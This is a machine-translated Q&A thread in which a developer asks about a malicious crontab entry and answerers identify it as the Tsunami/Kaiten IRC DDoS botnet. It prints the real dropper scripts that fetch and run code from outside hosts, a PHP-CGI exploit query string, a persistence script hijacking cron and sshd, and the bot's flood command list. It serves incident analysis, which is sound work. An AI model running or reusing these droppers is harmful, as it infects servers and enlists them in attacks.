web-dev-qa-db-ja.com

SecureShellzボットはウイルスですか?それはどのように機能しますか?

私はこれをcrontabで見つけた開発サーバーを使用しています:

[...]
* * * * * /dev/shm/tmp/.rnd >/dev/null 2>&1
@weekly wget http://stablehost.us/bots/regular.bot -O /dev/shm/tmp/.rnd;chmod +x /dev/shm/tmp/.rnd;/dev/shm/tmp/.rnd
[...]

http://stablehost.us/bots/regular.bot内容は次のとおりです。

#!/bin/sh

 if [ $(whoami) = "root" ]; then

    echo y|yum install Perl-libwww-Perl perl-IO-Socket-SSL openssl-devel zlib1g-dev gcc make
    echo y|apt-get install libwww-Perl apt-get install libio-socket-ssl-Perl openssl-devel zlib1g-dev gcc make

    pkg_add -r wget;pkg_add -r Perl;pkg_add -r gcc

    wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o a a.c;mv a /lib/xpath.so;chmod +x /lib/xpath.so;/lib/xpath.so;rm -rf a.c
    wget -q http://linksys.secureshellz.net/bots/b -O /lib/xpath.so.1;chmod +x /lib/xpath.so.1;/lib/xpath.so.1
    wget -q http://linksys.secureshellz.net/bots/a -O /lib/xpath.so.2;chmod +x /lib/xpath.so.2;/lib/xpath.so.2  
    exit 1
 fi


 wget -q http://linksys.secureshellz.net/bots/a.c -O a.c;gcc -o .php a.c;rm -rf a.c;chmod +x .php; ./.php
 wget -q http://linksys.secureshellz.net/bots/a -O .phpa;chmod +x .phpa; ./.phpa
 wget -q http://linksys.secureshellz.net/bots/b -O .php_ ;chmod +x .php_;./.php_

さまざまな理由でシステム管理者に連絡できないので、これについての情報を彼に尋ねることはできません。

このスクリプトは、リモートのCソースコードとバイナリをダウンロードし、コンパイルして実行するようです。

私はWeb開発者なので、C言語の専門家ではありませんが、ダウンロードしたファイルを見ると、サーバーのcronに挿入されたボットのようです。

このコードが何をするかについて、もっと情報を頂けますか?その働きについて、その目的は?

[〜#〜] update [〜#〜]:残念ながら、それはマルウェアです ...疑問に思っています。これについて詳しく教えてもらえますか?

12
mdesantis

システム管理者にメールを送信するか(あなたの上に連絡する必要があります)、CIOに直接送信します。彼を説得する必要がある場合は、何を見つけたかを説明し、「a.c」という名前のファイルのこの部分を添付してください。

* There are a number of commands that can be sent to the client:              *
*       TSUNAMI <target> <secs>       = A Push+ACK flooder                    *
*       PAN <target> <port> <secs>    = A SYN flooder                         *
*       UDP <target> <port> <secs>    = An UDP flooder                        *
*       UNKNOWN <target> <secs>       = Another non-spoof udp flooder         *
*       NICK <nick>                   = Changes the nick of the client        *
*       SERVER <server>               = Changes servers                       *
*       GETSPOOFS                     = Gets the current spoofing             *
*       SPOOFS <subnet>               = Changes spoofing to a subnet          *
*       DISABLE                       = Disables all packeting from this bot  *
*       ENABLE                        = Enables all packeting from this bot   *
*       KILL                          = Kills the knight                      *
*       GET <http address> <save as>  = Downloads a file off the web          *
*       VERSION                       = Requests version of knight            *
*       KILLALL                       = Kills all current packeting           *
*       HELP                          = Displays this                         *
*       IRC <command>                 = Sends this command to the server      *
*       SH <command>                  = Executes a command                    *
* Remember, all these commands must be prefixed by a ! and the nickname that  *
* you want the command to be sent to (can include wildcards). There are no    *
* spaces in between the ! and the nickname, and there are no spaces before    *
* the !                                                                       *
*                                                                             *
*                               - contem on efnet                             *

この特定のバックドアへのいくつかの参照はここにあります:
- http://www.f-secure.com/v-descs/backdoor_osx_tsunami_a.shtml
- http://blog.eset.com/2011/10/25/linux-tsunami-hits-os-x

申し訳ありませんが、このマルウェアのリバースエンジニアリングは見つかりません。

10
Shadok

私が報告されているサーバーもこれに感染しています。 cgi-bin/phpエクスプロイトを通じてアップロードされたphpスクリプトを介してcrontabジョブを注入しているようです。

/cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input

私はそれがどのように機能するのかよくわかりませんが、クライアントの入力からphpスクリプトを実行していることがわかりますが、netcatを介してこれを複製できませんでした。

PHPスクリプトがcronjobを作成すると、日曜日(または毎週起動するとき)にC&Cに接続してスクリプトを取得します。サーバーがこのスクリプトをリクエストしました。幸いにも、私が報告されたサーバーがC&Cに間に合うように感染していませんでしたが、ログから返されたそのようなIPは、いくつかのサービスを実行しているようです。

興味深いものは次のとおりです。 (私はprojecthoneypot.orgでIPを報告しました)

Host          port  proto  name         state     info
----          ----  -----  ----         -----     ----
123.30.84.61  22    tcp    ssh          open      OpenSSH 4.3 protocol 2.0
123.30.84.61  111   tcp    rpcbind      open      2 RPC #100000
123.30.84.61  1098  tcp    rmiregistry  open      Java RMI
123.30.84.61  1099  tcp    ovm-manager  open      Oracle VM Manager
123.30.84.61  3306  tcp    mysql        open      MySQL unauthorized
123.30.84.61  4445  tcp    ovm-manager  open      Oracle VM Manager
123.30.84.61  8083  tcp    http         open      Bluecat Networks Proteus IPAM or Enterasys Dragon IDS http config

私たちが見ることができるもののために-IDSがありますか? Oracle VM MySQLを備えたマネージャー(Oracle以外)。ポート80が開かれていないため、C&Cは「オフライン」です。

projecthoneypot.orgサイトから、この攻撃者があなたのIPからバイアグラスパムを送信しようとしていることは明らかです。そうではないかもしれませんが、チャンスは彼らが彼ら自身のIPから行ったことを検討している。ただし、Oracle VM managerがあるため、これが直接攻撃者なのか、またはVM攻撃者が侵入したホストなのかはわかりません。これは、これらの攻撃が無関係であることを意味している可能性があります。 viagra spamへ。

質問で送信したスクリプトをありがとうございます。これは、ホストがport 80に応答しなかったため、安全なヒットであると私が調べたサーバーを確認するのに役立ちました。この場合はラッキー。

サーバー上のすべてのトラフィックを完全なパケットキャプチャで記録することをお勧めします。システム管理者にストレージがない場合(すぐに大量に必要になる場合があります)、この目的のためのオンラインクラウドサービスがあります。これにより、あなたとシステム管理者は、攻撃者がサーバーに侵入した場合に何が起こるかを確認できます。また、提案として、可能であればcgi-binをパスワードで保護または無効にします。長年にわたって、そこにある標準スクリプトを標的としたエクスプロイトが多すぎます。

サーバーで何を実行していますか?

"123.30.84.61"または"stablehost.us"を検索すると、ログから何がわかりますか?

これらのCファイルをホストしているサーバーがダウンしているため、たまたまコピーがある場合は、これらを取得できる場所にアップロードしていただけませんか?

注:I[〜#〜] just [〜#〜]これをすべて書いた後に、それが昨年のニュースだと気づいた...ああまあ、私は他の人がこれが役立つと確信していると思います。

更新:承認された回答については、私はそのコードにアクセスできませんが、この攻撃がこのように再起動された場合、コードが同じであるとは思わないでしょう。

7
DarkFox

質問がかなり古く、攻撃が変わっても、ソースは同じです

私はこれの新しいバージョンに遭遇しました(そして、安定ホストはここでリンクキーワードです、OPが尋ねた後もここ数年)、私が管理したサーバーの1つ(gentoo強化、強力なgrsec構成)は、おそらくShellshockによって危険にさらされています。

興味がある人のために、ソースコードを見つけることができました:

Perl, this one is an IRC bot : 
http://205.237.100.171/manual/pb
also on Pastebin : http://Pastebin.com/NN42LJ0z

C , this one will create the init script:
http://205.237.100.171/manual/a.c
also on Pastebin : http://Pastebin.com/8PgTjhyb

init code : 
http://205.237.100.171/manual/init
also on http://Pastebin.com/HyUUfn6S

そのコードの束(bash、C、Perl、およびpython))であり、ここにすべてコピーして貼り付けることはしませんが、基本的なコードはCコードから構築されたinitのものです。

gcc -o /tmp/init /tmp/a.c;
/tmp/init;
rm -rf /tmp/a.c /tmp/init;
echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1" >/tmp/c;
crontab /tmp/c;
rm -rf /tmp/c;
chattr +isa /var/spool/cron/tabs/root;
chattr +isa /var/spool/cron/tabs;
echo "#!/bin/sh" > /etc/cron.weekly/00logrotate;
echo "wget http://stablehost.us/bots/regular.bot -O /tmp/sh" >>/etc/cron.weekly/00logrotate;
echo "curl -o /tmp/sh http://stablehost.us/bots/regular.bot" >> /etc/cron.weekly/00logrotate;
echo "sh /tmp/sh;rm -rf /tmp/sh" >>/etc/cron.weekly/00logrotate;
chmod +x /etc/cron.weekly/00logrotate;
chattr +isa /etc/cron.weekly/00logrotate;
#rm /usr/bin/chattr;
kill -9 `ps -aux|grep Perl|awk {'print $2'}`;

そして、このinitの別の(より進化したように見える)バージョン:

echo "nameserver 4.2.2.2" >> /etc/resolve.conf;
sed -i 's=umask 022=umask 022;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh=g' /etc/rc.d/init.d/sshd;
sed -i 's=umask 022=umask 022;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh=g' /etc/init.d/ssh;
wget http://205.237.100.171/manual/b -O /tmp/init;
wget http://205.237.100.171/manual/arm -O /tmp/arm;
wget http://205.237.100.171/manual/mipsel1 -O /tmp/mips
chmod +x /tmp/arm /tmp/init /tmp/mips
curl -o /tmp/init http://205.237.100.171/manual/b;
wget http://205.237.100.171/manual/a.c -O /tmp/a.c;
curl -o /tmp/a.c http://205.237.100.171/manual/a.c;
gcc -o /tmp/init /tmp/a.c;
/tmp/init;
rm -rf /tmp/a.c /tmp/init;
echo "@weekly wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh >/dev/null 2>&1" >/tmp/c;
crontab /tmp/c;
rm -rf /tmp/c;
chattr +isa /var/spool/cron/tabs/root;
chattr +isa /var/spool/cron/tabs;
echo "#!/bin/sh" > /etc/cron.weekly/00logrotate;
echo "wget http://stablehost.us/bots/regular.bot -O /tmp/sh" >>/etc/cron.weekly/00logrotate;
echo "curl -o /tmp/sh http://stablehost.us/bots/regular.bot" >> /etc/cron.weekly/00logrotate;
echo "sh /tmp/sh;rm -rf /tmp/sh" >>/etc/cron.weekly/00logrotate;
chmod +x /etc/cron.weekly/00logrotate;
chattr +isa /etc/cron.weekly/00logrotate;
#rm /usr/bin/chattr;
kill -9 `ps -aux|grep Perl|awk {'print $2'}`;

shellshock/tsunami/kaiten攻撃のこの最近の波については、詳細も http://wearetheartillery.blogspot.com/2014/10/interesting-Shellshock-payload-being.html を参照してください。

編集:cloudflareから別の素晴らしい説明の投稿を見つけました: https://blog.cloudflare.com/inside-Shellshock/

も参照してください: http://www.ddosattacks.net/Shellshock-being-used-to-build-a-ddos-botnet-to-launch-ddos-attacks/

私が分析できたサーバーはXXXXに対するudpフラッドに使用されました、私のファイアウォールは発信攻撃のかなりの部分をブロックしましたが、udpfloodのほとんどは出て行くことができました

Oct 23 08:05:36 myname kernel: Shorewall:all2all:REJECT:IN= OUT=eth0
SRC=me DST=target LEN=9244 TOS=0x00 PREC=0x00 T
TL=64 ID=15736 PROTO=UDP SPT=41912 DPT=61587 LEN=9224

ショアウォールの発信構成でブロックできる発信攻撃の一部です。データセンターonline.netのみが、発信される可能性のある洪水の種類に関する詳細情報を持っています(これらのパケットに関するログはなく、online.netは詳細を提供していません)私のファイアウォールを通過しました、彼らは私に詳細を教えたくありませんでした。

0
neofutur